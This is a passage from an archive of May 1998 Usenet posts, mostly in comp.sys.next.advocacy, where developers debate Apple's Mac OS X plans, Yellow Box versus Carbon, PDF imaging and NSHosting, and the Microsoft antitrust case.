If he would just make this arguement without making complaints that YB is
dead, Rhapsopdy is dead, Mac OS X forces everyone to rewrite everything and
the like, I wouldn't have a problem with him.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: kwaltd@newsguy.com (Kris Amico)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sat, 16 May 1998 12:29:21 -0700
Organization: http://extra.newsguy.com
Message-ID: <kwaltd-ya02408000R1605981229210001@enews.newsguy.com>
References: <1d93hzz.1i4zmy3bnrdb1N@carina47.wco.com> <B1832253-1C09B@206.165.43.27>
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In article <B1832253-1C09B@206.165.43.27>, "Lawson English"
<english@primenet.com> wrote:
> Mike Paquette <mpaque@wco.com> said:
>
> >PDF is the preferred graphics metafile format. It nicely encapsulates
> >the imaging model, and it is currently rapidly rising in acceptance in
> >the prepress industry.
>
>
>
> Unless PDF has changed drastically since version 2.0, I've never felt that
> the format is very conducive to editing, or interaction. Why use a metafile
> format which is designed for frozen graphics?
>
Precisely my thoughts. Regardless of its purported technical merits, I
find PDF annoying to use in a BEASTLY way. Usually, when I am kicking and
sweating while I sleep at night ( or day ;) ), it has been induced by a
recurring nightmare, in which I am forced to use reference books in PDF
format only.
> Last I looked, PDF didn't support transparencies, so you guys must be doing
> something to pass along transparent, overlapping graphics via PDF. Will
> this solution allow anyone to reconstruct the original graphic?
>
Seems like the only really good use for PDFs is transporting printed
material that is to be REprinted, and not much else. The way they have
come to be used as of late is very annoying indeed.
-K (ICQ#: 3309936)
[ The reply-to address is valid ]
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Carbon features: NO Quickdraw !!
Date: 16 May 1998 16:24:39 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jksm7$gv6$1@crib.bevc.blacksburg.va.us>
References: <1d93djc.r7hr2q1ipczyaN@carina47.wco.com> <6jkp2s$lkq$1@camel0.mindspring.com>
In article <6jkp2s$lkq$1@camel0.mindspring.com>, Matthew Cromer <matthew_cromer@iname.com> wrote:
> In article <1d93djc.r7hr2q1ipczyaN@carina47.wco.com> Mike Paquette,
> mpaque@wco.com writes:
> >Low level display and memory management services that are thread safe
> >are already available. (See also Rhapsody, NSDirectScreen,
> >NSDirectBitmap, Interceptor.) As the Blue Box team demonstrated on
> >Thursday, Yellow Box and Carbon apps are already co-existing on a
> >prototype graphics substrate.
> Mike, please tell the MacOS X team that we REALLY REALLY want NSHosting
> back.
They're probably already aware of that, but it might not hurt to mail one
of Apple's feedback addresses stating your desires. As Mike said, it's a
matter of priorities.. it's possible that we can change their priorities,
but seeing as there's a _lot_ of other work to do with the graphics
system which _needs_ to be in there, it might not have much effect.
NSHosting is important and useful, but it's not a make-or-break feature
like some of the other things. I guess all we can do is make sure they
know that there are an appreciable number of people who want or need this.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sat, 16 May 1998 14:29:16 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355DE90C.1EE1F74F@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355AEB93.4AC11DA3@milestonerdl.com> <6jfdu8$7bl$1@crib.bevc.blacksburg.va.us> <355B30B0.355C95BB@milestonerdl.com> <6jff08$7ei$1@crib.bevc.blacksburg.va.us> <355B3744.18038EC5@milestonerdl.com> <joe.ragosta-1505981359080001@wil95.dol.net> <355CB499.EB48D472@milestonerdl.com> <joe.ragosta-1605981329460001@elk72.dol.net>
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Joe Ragosta wrote:
> In article <355CB499.EB48D472@milestonerdl.com>, mark@milestonerdl.com wrote:
> BTW--if you start claiming that Win98/NT5 won't run Win95/NT4 apps, it's
> going to look pretty bad for your MS advocates around here.
There will be apps that break. And, some will be Microsoft ones. 'just upgrade'
will be the mantra of the day.
Now, the last time this 'just upgrade' manta blew up in Microsoft's face was
Office 97. *snicker* Eventually, backwords compatiblity was added to 97. Now,
if no one upgrades to 98, Microsoft will just shrug and work on NT 5. The trick
for Microsoft is to figure out HOW to get ppl to NT5. The page (now gone) on
microsoft.com noting Y2K and 'thousands of bugs' in NT 4 was a 1st crack at
compelling ppl to upgrade to NT5.
Somehow, if Microsoft breaks YB NT4.x with NT 5.x, I doubt the %age of MS uses
complaining willl matter to them.
Apple has a mixed-history on deliverables. Missed dates, dropped projects, etc
la. Now, if this is a New Apple (tm), and Apple can delever on a NT 5/98
YellowBox, why not Announce the intention, Announce the betas, Announce a date,
and deliver on that date.
Get a number of announced dates with delivered dates made, you might ACTUALLY get
people outside of the 'normal Apple user' to believe in Apple. MIS likes its
hand held. And to have a scape-goat. No MIS head in a typical shop would
advocate for placement of Apple equipment with the history of the Apple of 'the
past'. If Apple can make promises AND deliver for the next 2-4 years, they'd
have one up on the 'normal' MIS platform on the desk.
Oh, and MS advocates are not in any way 'mine'-> "bad for your MS advocates"
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 14:35:34 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355DEA86.6777F03@milestonerdl.com>
References: <6jg26g$89f$1@crib.bevc.blacksburg.va.us> <B1824879-5DEAC@207.217.155.190> <6jj2lp$bpr$1@crib.bevc.blacksburg.va.us> <joe.ragosta-1605980710220001@elk81.dol.net>
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Joe Ragosta wrote:
> In article <6jj2lp$bpr$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> Anyone have an update on GNUStep? Will it be able to run YB apps? If so,
> that should eliminate the concerns about Apple dropping YB.
GnuSTEP is based on the open API of OpenSTEP.
www.gnustep.org
http://www.gnustep.org/AboutGNUstep/ProgressOverview.html is a good overview.
OpenSTEP -> YellowBox but YellowBox !-> OpenSTEP. Apple has added to
OpenSTEP, hence YellowBox.
If one is wanting to be 'not tied to the fate of Apple' WRT YB, the best
advice is the same given to people when they ask about TWIN (
http://willows.com/ )....look at the GnuSTEP API, write to that, and only add
in YB when it matters. That way, the only porting issues are YB related.
From: "Izumi Ohzawa" <izumi@pinoko.berkeley.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: NSHosting and MacOS X
Date: 16 May 1998 20:35:16 GMT
Organization: University of California, Berkeley
Message-ID: <01bd80c6$be64d100$a4e82080@mizuki.HIP.Berkeley.EDU>
References: <1d93iik.1l170dz8etsaxN@carina47.wco.com>
Mike Paquette <mpaque@wco.com> wrote in article
<1d93iik.1l170dz8etsaxN@carina47.wco.com>...
> There has been some concern expressed over MacOS X and the loss of the
> NXHost capability. I'd like to clear a few things up.
>
> NX/NS Host Operation
>
> NXHost works by redirecting the PostScript binary object stream to a
> PostScript interpreter running in a Window Server on a different machine
> than the current application. A PostScript interpreter is required to
> process this stream.
>
> MacOS X will not require a PostScript interpreter. One will not be
> present in the base system. Therefore, one cannot reasonably process
> the existing NSHost protocol to a MacOS X system.
Is it really the loss of DPS that makes NSHosting difficult?
After all, in principle, there can be Display PDF engine doing similar work
as DPS
and work on PDF streams from clients.
It seems to me, that it's not really the lack of DPS per se, but the new
boundary
between WindowServer and clients. Previously, it was at the PS stream.
Now,
the WindowServer hands clients (apps) a shared memory for an area of
display,
and clients directly writes into it. I can see how this makes it difficult
to do
remote displays. It would probably have to be based on streaming QuickTime
which transports backing store (and sound) across network to the actual
remote
display (and sound port) on another machine.
Still, I haven't heard any explanation as to why they decided to break the
client-
server boundary at the shared-memory. If multi-threading of DPDF engine is
important, well, you can run multiple threads of Display PDF on the server
side
each listening to PDF streams from clients, either local or remote.
Perhaps, it is integration of QuickTime into NSView that drove this
decision.
I would appreciate more enlightenment, Mike?
Thanks.
From: rlove@antispam.neosoft.com (Robert B. Love )
Newsgroups: comp.sys.next.advocacy
Subject: Re: Unified Imaging Mode ==? PDF
Date: 16 May 1998 20:36:47 GMT
Organization: NeoSoft, Inc.
Message-ID: <6jktcv$a0l$1@uuneo.neosoft.com>
References: <355c906a.0@206.25.228.5> <355cdc72.0@news.depaul.edu>
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Cc: jhendry@shrike.depaul.edu
In <355cdc72.0@news.depaul.edu> Jonathan W Hendry wrote:
>
> How hard would it be for someone to write a free GhostScript-powered
> PS-PDF image filter service?
I'm sure it would take Frank Siegert about an afternoon and using
no GS code. He has his own PS engine and now produces a fine
PDF maker. Lets see if he chimes in.
----------------------------------------------------------------
Bob Love MIME & NeXT Mail OK
rlove@neosoft.com PGP key available
----------------------------------------------------------------
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 16 May 1998 14:44:34 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6jktri$2lc$1@xmission.xmission.com>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <EsvxtF.7G0@micmac.com> <see-below-1305982328510001@209.24.241.190> <355B1D3F.27453C81@nospam.com> <6jfanm$73n$1@crib.bevc.blacksburg.va.us> <rex-1405981430100001@192.168.0.3> <355b49e9.0@news.depaul.edu> <nagleEt1EDL.687@netcom.com> <6jjoi3$n53$10@news.idiom.com>
John C. Randolph <jcr.remove@this.phrase.idiom.com> wrote:
: -> change in direction have been achieved. You can't rely on Apple.
: We're not relying on Apple. We're relying on the guys who took them over.
Despite their godlike engineering, they are just as unreliable as business
people, if not more so. Lest we forget, NeXT
* Changed market focus without warning;
* Ditched black hardware with no warning;
* Created a months-long gap with no salable products that killed many
ISVs and VARs;
I very nearly lost my job as a NeXT reseller due to the last two, and the
first didn't make it very easy to sell slabs and cubes.
Now these same people have killed the Intel OS product, which was
arguably the coolest and most visible thing they were working on, and was
my only avenue to displacing Windows as my chief development platform.
However, I saw this one coming; my job is writing software for
Java and not Yellow Box. The API may not be as extensive, and the platform
itself may be immature, but it does 80% of what the AppKit did, extends
across platforms by default, and Sun can't yank the rug out from under me,
even if they tried.
...........kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 16 May 98 13:52:44 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B1834ABC-D9B7C@207.217.155.39>
References: <joe.ragosta-1605981319310001@elk72.dol.net>
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nntp://news.earthlink.net/comp.sys.next.advocacy
Joe wrote:
>As I understand it, GNUStep is a freeware implementation of OpenStep APIs.
>If GNUStep is able to run YB apps, then anyone who invests in YB apps will
>still be able to run them if Apple drops YB.
>
>Exactly why is this so far outside the realm of possibility?
Let me add a developer's perspective here. When one tests an application,
one typically validates against the libraries one intends to ship the
product for. There are often bugs in libraries. Even in the MacOS, believe
it or not, there ARE bugs. Probably in YellowBox too, as written by Apple
or by GNU. Sometimes, if a bug is really nasty, one codes around it or
avoids it completely, defering some functionality until the next OS
release. Now, imagine trying to target the same library from two different
vendors.
No wait, don't imagine it. Join the MRJ list and watch the problems Java
developers run into deploying their applets or beans to MacOS or other
platforms. More interesting is watching what some consider "bugs". My
favorite example is that the MacOS dialog box can't be used as a floating
window! It can on other platforms, but not the MacOS. Is that a bug in MRJ?
Bugs include both crashing situations, losses of data, and discrepencies in
implementations due to incomplete specifications of the platform. If
YellowBox is going to do better than the AWT or Beans, it ABSOLUTELY MUST
be a single vendor effort!!! GNUStep is probably not a backup plan for any
developer with a clue. (Sorry free software people, that's just reality
circa May, 1998).
>Oh, and where has Apple said that they're putting YB on the back burner?
Nowhere that I've seen.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got Cyberdog? Then try Rapid-I Bookmarks. Tried it? Then buy it! Point your
Cyberdog to the Hutchings Software web site.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 16 May 1998 14:15:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1834FED-9CF5@206.165.43.149>
References: <kwaltd-ya02408000R1605981229210001@enews.newsguy.com>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
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Kris Amico <kwaltd@newsguy.com> said:
>
>Seems like the only really good use for PDFs is transporting printed
>material that is to be REprinted, and not much else. The way they have
>come to be used as of late is very annoying indeed.
Contrast that with GX's far simpler picture format:
picture
...
shape
shape
...
picture
...
shape
shape
picture
...
shape
shape
picture
shape
shape
shape
picture
...
etc.
What could be easier for extracting graphics and text and manipulating it
and reinserting it at the same layer in the image?
If you need to translate that into PDF format, the translation is trivial.
Want to create HTML out of it? The translation is trivial. Etc.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: By the way, Next is dead also....
Date: Sat, 16 May 1998 16:20:19 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <355E0313.936ED4BA@nstar.net>
References: <Y9h71.255$RA.867020@news.rdc1.nj.home.com> <6jk8mi$b0m@ragnarok.en.uunet.de>
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Holger Hoffstaette wrote:
Ah, clash of the titans.
> "Chris Van Buskirk" wrote:
> > Well, I have nosing around this group for awhile, and am very happy
> > that apple has extended apple developers the carbon APIs. Finally,
>
> So are many exNeXTies. That's the good news.
>
> > the next generation MacOs is back in the hands of apple developers.
>
> That's the bad news.
Why not come right out and say that you despise the original MacOS
developers? I'm sure they won't take any offense. Oh, you did.
> > Frankly, I really don't want my future on the Macintosh developed by
> > those who do nothing but bitch and whine like children.
>
> Neither do we. Refer to the part about 'bad news' above.
Right...all the MacOS developers bitching about NeXTStep in this
newsgroup...not the other way around.
> > I hate the UI!
> > Everything Yellow!
> > I can't live without DPS!
> > No Intel!
> > Adobe Sucks!
>
> In a nutshell, yes, although the DPS part is debatable.
What's going on, here? You agree with "Everything Yellow!", but claim
that the Carbon APIs are good news?
You say you can live without DPS, but you agree with "No Intel!"?
> > I think you people would have real compelling arguments, if you just
> > developed something! The only applications I hear, are those that
> > were already developed for Next before the buyout.
>
> Please do not consider yourself to be the epicenter of the software
> world. Just because you don't see something doesn't mean it doesn't
> exist. YB is used in places where the traditional Mac doesn't even
> need to apply.
Oh, custom apps and shit, right? Likewise, the traditional Mac is used
everywhere else, where YB basically need not apply (home, education,
scientific, etc), because everybody is using shrinkwrap stuff for some
reason (something about not being able to afford in-house development,
no matter how nice the widgets are).
> > Not one major announcement of a new product for yellow box! This
>
> Thanks to the good folk at Adobe and Micromind!
Macromedia. The CEO once told me he'd be glad to port to Rhapsody if
only Rhapsody developers could spell the name of his company correctly.
It would be a gesture of good will, he said.
> Not to mention the
> countless people inside Apple who actively tried to hinder or badmouth
> YB/Rhapsody development after the NeXT aquisition.
> Just where would Apple be without these fine individuals today?
Right...
Envelope one: blame it on your predecessors
Envelope two: reorganize the company, change the vision
Envelope three: prepare three envelopes
Steve's got the first two covered.
MJP
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
References: <355bc985.0@206.25.228.5> <6jgq6j$5us@sjx-ixn10.ix.netcom.com> <6jgsjt$93u$1@crib.bevc.blacksburg.va.us>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <355d22e1.0@nnrp1.news.uk.psi.net>
Date: 16 May 98 05:23:45 GMT
nurban@crib.bevc.blacksburg.va.us (Nathan Urban) wrote:
>In article <6jgq6j$5us@sjx-ixn10.ix.netcom.com>, far_no@spam.ix.netcom.com wrote:
>
>> Come to think of it I did'nt get my recommended daily allotment
>> which probably explains why I agree it SUCKS! It's hideous.
>
>I agree that it's not as nice as NEXTSTEP, but I wouldn't malign it
>_that_ strongly. It's decent.
>
>Oh well, I hope the Appearance Manager stuff makes it over to Yellow.
Well it looks pretty dreary to me - but about what I was coming to expect
and certainly not as bad as Windows-95 or MacOS-8 (quite).
The only thing I really didn't expect is that the preferences app is so
appallingly bad - they had the NeXTstep one to start with - then tried something
like the current one in DR1, and I'd have thought that the dogs-dinner they made
of that would have got them to go back to something like the original.
Newsgroups: comp.sys.next.advocacy
Subject: Re: By the way, Next is dead also....
References: <Y9h71.255$RA.867020@news.rdc1.nj.home.com>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <355e1455.0@206.25.228.5>
Date: 16 May 98 22:33:57 GMT
"Chris Van Buskirk" <cvbuskirk@home.com> wrote:
> Not one major announcement of a new product for yellow box! This
> is why the carbon APIs are here, and should be always on top of
> apple's API development strategy. Thank God, back to mac.advocacy.
> I know you won't miss me.
Right, there is an endless supply of trite dollop commentary in
these groups with or without you.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Newsgroups: comp.sys.next.advocacy
Subject: Re: Unified Imaging Mode =?US-ASCII?Q?=3D=3D=3F?= PDF
References: <355c906a.0@206.25.228.5> <355cdc72.0@news.depaul.edu>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <355e16e2.0@206.25.228.5>
Date: 16 May 98 22:44:50 GMT
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> John Kheit <jkheit@xtdl.com> wrote:
> > And apparently Ghostscript had fees associated with it for
> > commercial software. So there you go.
> How hard would it be for someone to write a free GhostScript-powered
> PS-PDF image filter service?
Well, upon further information, there may not be fees with Ghostscript.
I've had conflicting birdy reports on this. I should just check
out the license agreement myself, but as one might expect, I'm self
absorbed in my own work right now. One thing that is likely is
that open source played a factor in this decision.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 15:54:43 -0700
Message-ID: <see-below-1605981554430001@209.24.241.16>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <355B31C4.77DFDC17@spamtoNull.com> <pulsar-ya02408000R1405981647290001@news-proxy.cso.uiuc.edu> <ericb-1505981847060001@132.236.171.104> <pulsar-ya02408000R1605981454190001@news-proxy.cso.uiuc.edu>
In article <pulsar-ya02408000R1605981454190001@news-proxy.cso.uiuc.edu>,
pulsar@springnet1.com (Pulsar) wrote:
> The point I think he's trying to make is that Mac OS X as a mainstream
> replacement OS for the current Mac OS is late and that Rhapsody was
> originally intended for that purpose in a shorter time frame than what is
> now being pushed. Mac OS X is basically Rhapsody. Rhapsody was originally
> intended to be a mainstream OS replacement for the Mac OS. As it became
> clear that it wouldn't initially work out that way, Apple had to do
> something. That something was the plan for Mac OS X.
>
> If he would just make this arguement without making complaints that YB is
> dead, Rhapsopdy is dead, Mac OS X forces everyone to rewrite everything and
> the like, I wouldn't have a problem with him.
(I assume "he" is Jonathan Harker?)
I agree that this is the point he is trying to make, but I disagree that
it is a valid point, whether he states it clearly or not. At no point,
from the initial announcement of Rhapsody over a year ago until the OS X
announcement, did Apple ever announce, state, hint, or otherwise imply
that Rhapsody or anything derived therefrom would be a consumer OS before
the turn of the century. Never. In fact, they blatantly stated that it
would _not_ be a consumer OS in this century, and made a point of dropping
quite a few hints in various places to that effect, particularly after
some people started wrongly assuming that it might be.
That being the fact, there is no case to be made that Rhapsody as a
consumer OS could in any way be "late" by only shipping in the form of
MacOS X in late 1999.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu> <see-below-1405980102500001@209.24.241.190> <355af407.0@206.25.228.5> <see-below-1405982237090001@209.24.240.162> <355c8782.0@206.25.228.5> <joe.ragosta-1505981627300001@wil93.dol.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <355e18de.0@206.25.228.5>
Date: 16 May 98 22:53:18 GMT
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <355c8782.0@206.25.228.5>, jkheit@xtdl.com wrote:
> > see-below@not-my-address.com (Matthew Vaughan) wrote:
> > > In article <355af407.0@206.25.228.5>, jkheit@xtdl.com wrote:
> > > > I disagree to some extent. To me it seems like some mac
> > > > users not only dont want unix, but they don't want others
> > > > to be able to use it if they don't. Heaven forbid (i.e.
> > > > apple) if others might actually make use of something they
> > > > don't feel like learning. So in some twisted fashion and
> > > > perhaps for reasons of fearing falling behind in technical
> > > > prowess they will begrudge others the opportunity to use
> > > > better technology.
> >
> > > What prompts you to say that?
> >
> > Some users that I run into say stuff like "No, I never want a
> > CLI or unix in the macOS, even if I don't have to see it or
> > deal with it."
> That doesn't sound very rational.
Exactly right.
> I guess _my_ feeling is I couldn't care less if there's a CLI or
> not. If enough people want it to justify the time and effort and
> if it's hidden from me, put it in.
This is obfuscating the point, which is rather typical. You know
it takes EXTRA effort at this point to take it out. Why a Terminal.app
terrifies people to the point they say "hide that, just don't let
me see it" baffles me as much as the propeller heads who demand
certain things be available via CLI only. YMMV.
> If there are _not_ enough people to justify the time and effort,
> leave it out.
> Either way is OK with me, as long as I don't have to use it.
Again, your anecdotal evidence not being in anyway disproof of a
significant portion of mac people being as I described.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: nagle@netcom.com (John Nagle)
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <nagleEt2nD0.5xF@netcom.com>
Organization: Netcom On-Line Services
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <andyba-ya02408000R1205981008330001@news> <ericb-1405981159190001@132.236.171.104> <andyba-ya02408000R1505981738020001@news> <joe.ragosta-1605980714480001@elk81.dol.net>
Date: Sat, 16 May 1998 22:48:36 GMT
Sender: nagle@netcom6.netcom.com
joe.ragosta@dol.net (Joe Ragosta) writes:
>In article <andyba-ya02408000R1505981738020001@news>,
>andyba@corp.webtv.net (Andy Bates) wrote:
>> And before WWDC, Apple had NO schedule for shipping of a modern mainstream
>> OS. So now we have a definitie date. Again, what's the problem?
Apple has had definite dates before. With Copland.
Now we have another announcement of a date. Whether it's definite
remains to be seen.
I have a copy of "Mac OS 8 Revealed", by Tony Francis. (1996,
Addison-Wesley, ISBN 0-201-47955-9). This is the book for Copland.
It shows just how far Apple was willing to go in terms of making
commitments they didn't keep.
Never forget this.
John Nagle
Newsgroups: comp.sys.next.advocacy
Subject: Re: By the way, Next is dead also....
References: <Y9h71.255$RA.867020@news.rdc1.nj.home.com> <355e1455.0@206.25.228.5>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <355e1a47.0@206.25.228.5>
Date: 16 May 98 22:59:19 GMT
John Kheit <jkheit@xtdl.com> wrote:
> "Chris Van Buskirk" <cvbuskirk@home.com> wrote:
> > Not one major announcement of a new product for yellow box!
> > This is why the carbon APIs are here, and should be always on
> > top of apple's API development strategy. Thank God, back to
> > mac.advocacy. I know you won't miss me.
> Right, there is an endless supply of trite dollop commentary in
> these groups with or without you.
As I amply provide evidence above. :))
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sat, 16 May 1998 22:46:17 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jl4vq$pqa$1@nnrp1.dejanews.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ir7ua$14g$1@nnrp1.dejanews.com> <rmcassid-0705980005120001@dialin33419.slip.uci.edu> <6ivv73$38k$1@nnrp1.dejanews.com> <rmcassid-0905981831450001@dialin9013.slip.uci.edu> <6j4gep$l28$1@nnrp1.dejanews.com> <rmcassid-1105981238190001@dante.eng.uci.edu> <6j8cet$fgg$1@nnrp1.dejanews.com> <rmcassid-1205980106390001@dialin33418.slip.uci.edu> <6jb7i9$d0l$1@nnrp1.dejanews.com> <rmcassid-1305980120280001@dialin33423.slip.uci.edu> <6jgf0l$fvt$1@nnrp1.dejanews.com> <rmcassid-1505981205450001@dante.eng.uci.edu>
In article <rmcassid-1505981205450001@dante.eng.uci.edu>,
rmcassid@uci.edu (Robert Cassidy) wrote:
>
> In article <6jgf0l$fvt$1@nnrp1.dejanews.com>, dpetticord@hotmail.com wrote:
> >I think the legal term is "essential resource". Microsoft must allow
> >reasonable right-of-way. The problem comes in defining "reasonable".
>
> Which will be very hard for them to prove when they also compete in
> markets beyond that bottleneck. MS will have to demonstrate that they give
> reasonable right-of-way to GMBuyPower vs. MS Carpoint. Considering that MS
> Carpoint might be right on the users desktop, I doubt that GM can pay any
> amount of money for equal treatment.
>
Now we get into the "good" stuff. Microsoft doesn't have the burdon of
proof, it is the DOJ who has to prove Microsoft is not providing reasonable
access to an essential resource. I noticed your use of the phrase "equal
treatment". It would be very hard to convince a court that Microsoft must
give its competitors the same access it gives to itself. Besides actually
being unfair to Microsoft unless all Operating Systems must allow equal
access, it is also very unworkable. If I write a solitare game, what
criteria can the courts use to keep me from insisting that I need "equal
access" to Windows start/programs/accessories/games folder. Microsoft
allows OEMs to add to Windows9x. I feel this is very close to reasonable
access of this essential resource.
> >My point is, Microsoft as a
> >mega-corporation will not be the Microsoft of today. Most think it will
> >be worse. I think it will become an IBM or an Exxon. The conversion
> >process has already begun.
>
> Agreed. But neither IBM nor Exxon have that kind of bottleneck. Maybe if
> Exxon owned all the oilfields or 96% of the refining plants, there'd be a
> parallel. MS holds a marketshare and bottleneck position that I don't
> think has been equalled since AT&T or Standard.
>
While I agree things are unusual in this industry at this time, I also think
Microsoft can not keep up the revolution for long. What will Cuba become
without Castro? What will Microsoft become without Bill Gates. A lot of
people have expressed the lack of patience needed to wait 10 or 20 years.
Personally I think it will be more like 5. Regardless of the time, I have
not seen an overwhelming need to hurry a process that will happen naturally.
> >> I agree with you. However, the consensus now seems to be that competition
> >> == consumer protection in a reasonably large marketplace. That's why
price
> >> fixing is illegal as well.
> >>
> >The wind blows in different directions at different times.
>
> I think they are blowing against MS right now.
>
Let's just say there is a lot of hot air blowing in a lot of directions <g>.
> >> It has the right to compete, but not succeed. MS is precluding
> >> corporations ability to compete. A small company in PA sells a service
> >> that delivers television program listings to users. They cannot compete
> >> any longer.
> >
> >That is exactly the kind of argument the courts reject as a valid antitrust
> >argument. No company (even Microsoft) can be prevented from fairly
competing
> >in a market.
>
> It doesn't force MS to stop competing, it forces them to start. The only
> action against MS would be to strip off the WebTV service from Win98 and
> offer it separately. It could even be free. That would give consumers and
> OEMs the choice to include the PA companies service instead. That's all.
>
OEMs can include the PA company's service ALSO. You want to give the OEM's
the right not to give consumers a choice. Microsoft is allowed to bundle
free products with its Operating System until it can be shown that it
hurts CONSUMERS. The fact it hurts COMPETITORS or even OEMs is not the
issue in an anti-trust case.
> >Many Ma & Pop grocery stores were destroyed by large
> >supermarkets. Blockbuster Video drove many small video stores out of
> >business. These kinds of propriators have attempted to sue and lost.
> >There is no right to the "ability to compete".
>
> That's a totally different situation from this. This isn't MS sucks solely
